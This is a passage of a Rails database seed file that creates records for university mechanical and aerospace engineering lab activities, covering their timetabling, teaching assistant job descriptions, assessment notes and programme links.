relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a218.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a218.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a218.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a219 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: true, in_drive: false, user_id: 3)\n at219 = ActivityTimetable.where(activity_id: a219.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a219.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a219.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a219.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a219.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a219.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a220 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 5)\n at220 = ActivityTimetable.where(activity_id: a220.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a220.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a220.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a220.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a220.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a220.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a221 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC453\").first.id, code: \"520\").first_or_create!(name: \"Non linear vibration\",\n name_abrv: \"NONLINEARVIB\", archived: true, in_drive: false, user_id: 3)\n at221 = ActivityTimetable.where(activity_id: a221.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a221.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a221.id).first_or_create!(criteria: \"\",\n job_desc:\"? Previously had claims from MEC dpt after work has been done by GTAs. (email from Jason Hawley 05/11/18)\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a221.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a221.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a221.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a222 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"unknowncode6\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: true, in_drive: false, user_id: 1)\n at222 = ActivityTimetable.where(activity_id: a222.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a222.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a222.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a222.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a222.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a222.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a223 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"521AE\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: false, in_drive: false, user_id: 5)\n at223 = ActivityTimetable.where(activity_id: a223.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a223.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a223.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a223.id).first_or_create!(assess_weight: nil, notes: \"formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a223.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a223.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a224 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"521\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: false, in_drive: false, user_id: 4)\n at224 = ActivityTimetable.where(activity_id: a224.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a224.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a224.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a224.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a224.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a224.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a225 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"2NDLAW\", archived: false, in_drive: false, user_id: 3)\n at225 = ActivityTimetable.where(activity_id: a225.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a225.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a225.id).first_or_create!(criteria: \"\",\n job_desc:\"Lab on the most important law in engineering the 2nd law - actually heat exchangers and compressors.\n Three sessions to run.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a225.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a225.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a225.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a226 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 4)\n at226 = ActivityTimetable.where(activity_id: a226.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a226.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a226.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a226.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a226.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a226.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a227 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 3)\n at227 = ActivityTimetable.where(activity_id: a227.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a227.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a227.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a227.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a227.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a227.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a228 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 3)\n at228 = ActivityTimetable.where(activity_id: a228.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a228.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a228.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a228.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a228.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a228.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a229 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC321\").first.id, code: \"523\").first_or_create!(name: \"servo motor frequency\",\n name_abrv: \"MEC-FREQ\", archived: false, in_drive: false, user_id: 3)\n at229 = ActivityTimetable.where(activity_id: a229.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a229.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a229.id).first_or_create!(criteria: \"Interest in Control.\",\n job_desc:\"Lab demonstration, no in lab marking. Training provided. Design a PI controller for a 1st order system, based on characteristic equation of the closed loop system and a performance specification. There might be some Bode diagrams as well. A great way to revise control.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a229.id).first_or_create!(assess_weight: 5.0, notes: \"Attendance and completion of lab\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a229.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a229.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a230 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC321\").first.id, code: \"524\").first_or_create!(name: \"Servo Motor Time\",\n name_abrv: \"MEC-TIME\", archived: false, in_drive: false, user_id: 1)\n at230 = ActivityTimetable.where(activity_id: a230.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a230.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a230.id).first_or_create!(criteria: \"Interest in Control.\",\n job_desc:\"Lab demonstration, no in lab marking. Training provided. The lab gives the students a basic knowledge of the sensors used in measuring a motor’s behaviour, an understanding of the need for closed-loop control of a motor, observe the difference between open loop, proportional, and proportional + integral control. A great way to revise control.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a230.id).first_or_create!(assess_weight: 5.0, notes: \"Attendance and completion of lab\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a230.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a230.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a231 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"525\").first_or_create!(name: \"Slider crank\",\n name_abrv: \"SLIDERCRANK\", archived: false, in_drive: false, user_id: 1)\n at231 = ActivityTimetable.where(activity_id: a231.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a231.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a231.id).first_or_create!(criteria: \"\",\n job_desc:\"What can be more mechanical than a slider crank?\n Validating acceleration diagrams by measuring acceleration in a slider-crank mechanism using LabVIEW and motor apparatus - supervise and assist students. GTAs should have knowledge of basic dynamics.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a231.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a231.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a231.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a232 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"525\").first_or_create!(name: \"Slider crank\",\n name_abrv: \"SLIDERCRANK\", archived: false, in_drive: false, user_id: 3)\n at232 = ActivityTimetable.where(activity_id: a232.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a232.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a232.id).first_or_create!(criteria: \"GTAs should have knowledge of basic dynamics.\",\n job_desc:\"What can be more mechanical than a slider crank?\n Validating acceleration diagrams by measuring acceleration in a slider-crank mechanism using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a232.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a232.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a232.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a233 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR333\").first.id, code: \"526\").first_or_create!(name: \"Strut Test\",\n name_abrv: \"STRUTTEST\", archived: true, in_drive: false, user_id: 5)\n at233 = ActivityTimetable.where(activity_id: a233.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a233.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a233.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a233.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a233.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a233.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a234 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"526\").first_or_create!(name: \"Strut Test\",\n name_abrv: \"STRUTTEST\", archived: false, in_drive: false, user_id: 3)\n at234 = ActivityTimetable.where(activity_id: a234.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"See RW\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a234.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a234.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a234.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a234.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a234.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a235 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC326\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 4)\n at235 = ActivityTimetable.where(activity_id: a235.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a235.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a235.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a235.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a235.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a235.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a236 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC327\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 1)\n at236 = ActivityTimetable.where(activity_id: a236.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a236.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a236.id).first_or_create!(criteria: \"\",\n job_desc:\"GTA's selected by department - email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a236.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a236.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a236.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a237 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 1)\n at237 = ActivityTimetable.where(activity_id: a237.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a237.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a237.id).first_or_create!(criteria: \"\",\n job_desc:\"Advanced dynamics labs.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a237.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a237.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a237.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a238 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER293\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 5)\n at238 = ActivityTimetable.where(activity_id: a238.id).first_or_create!(duration: 120, 